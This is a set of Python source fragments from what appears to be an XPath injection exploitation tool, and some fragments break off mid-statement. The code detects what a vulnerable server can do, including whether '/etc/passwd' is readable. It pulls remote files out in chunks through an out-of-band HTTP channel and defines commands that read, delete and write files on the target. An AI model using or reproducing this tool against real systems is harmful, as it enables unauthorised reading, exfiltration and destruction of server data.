async def download_file(requester: Requester, remote_path, local_path): local_path = pathlib.Path(local_path) if local_path.exists(): print('{local_path} already exists! Not overwriting'.format( local_path=local_path)) return func = read_binary if requester.features[ 'expath-file'] else read_binary_resource expression = string(func(remote_path)) print('Downloading {remote_path} to {local_path}'.format( remote_path=remote_path, local_path=local_path)) size = await count(requester, expression, func=string_length) print('Size: {size}'.format(size=size)) CHUNK_SIZE = 5 * 1024 result = "" for index in tqdm(range(1, size + 1, CHUNK_SIZE)): data = await get_string_via_oob( requester, substring(expression, index, CHUNK_SIZE)) if data is None: raise CommandFailed( 'Failed to download chunk {index}. Giving up. Sorry.'.format( index=index)) else: result += data sys.stdout.flush() sys.stdout.write('\n') local_path.write_bytes(base64.decodebytes(result.encode())) print('Downloaded, saved to {local_path}'.format(local_path=local_path))
async def count(requester: Requester, expression, func=count): if requester.features['oob-http']: result = await get_string_via_oob(requester, string(func(expression))) if result is not None and result.isdigit(): return int(result) return await binary_search(requester, func(expression), min=0)
Feature('substring-search', [ string_length(substring_before(ASCII_SEARCH_SPACE, 'h')) == ASCII_SEARCH_SPACE.find('h'), string_length(substring_before(ASCII_SEARCH_SPACE, 'o')) == ASCII_SEARCH_SPACE.find('o') ]), Feature('codepoint-search', [ string_to_codepoints("test")[1] == 116, string_to_codepoints("test")[2] == 101, string_to_codepoints("test")[3] == 115, string_to_codepoints("test")[4] == 116, ]), Feature('environment-variables', [exists(available_environment_variables())]), Feature('document-uri', [document_uri(E('/'))]), Feature('current-datetime', [string(current_date_time())]), Feature('unparsed-text', [unparsed_text_available(document_uri(E('/')))]), Feature('doc-function', [doc_available(document_uri(E('/')))]), Feature('linux', [unparsed_text_available('/etc/passwd')]), Feature('expath-file', [string_length(current_dir()) > 0]), Feature('saxon', [evaluate('1+1') == 2]), Feature('oob-http', test_oob(OOBHttpServer.test_data_url)), Feature('oob-entity-injection', test_oob(OOBHttpServer.test_entity_url)) ] async def detect_features(requester: Requester) -> List[Feature]: returner = [] for feature in features: if callable(feature.tests):
COMMANDS = [ Command( 'get', ['xpath-expression'], 'Fetch a specific node by xpath expression', lambda requester, expression: display_xml( get_nodes(requester, E(expression))), None), Command('get_string', ['xpath-expression'], 'Fetch a specific string by xpath expression', lambda requester, expression: get_string(requester, E(expression)), None), Command('pwd', [], 'Get the URI of the current document', lambda requester: get_string(requester, document_uri(E('/'))), ['document-uri']), Command( 'time', [], 'Get the current date+time of the server', lambda requester: get_string(requester, string(current_date_time())), ['current-datetime']), Command( 'rm', ['path'], 'Delete a file by path', lambda requester, path: throwfailed(count(requester, delete(path))), ['expath-file']), Command( 'write-text', ['location', 'text'], 'Write text to location', lambda requester, location, text: throwfailed( requester.check(write_text(location, text))), ['expath-file']), Command( 'cat_xml', ['path'], 'Read an XML file at "location"', lambda requester, location: display_xml( get_nodes(requester, doc(location) / '*')), ['doc-function']), Command('find-file', ['file-name'],